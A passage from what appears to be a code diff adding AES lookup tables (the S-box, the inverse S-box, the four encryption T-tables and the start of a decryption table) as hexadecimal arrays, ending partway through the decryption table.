+	S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
+	Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] 
+
+	# Transformations for encryption
+	T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
+	T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
+	T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
+	T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
+
+	# Transformations for decryption
+	T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 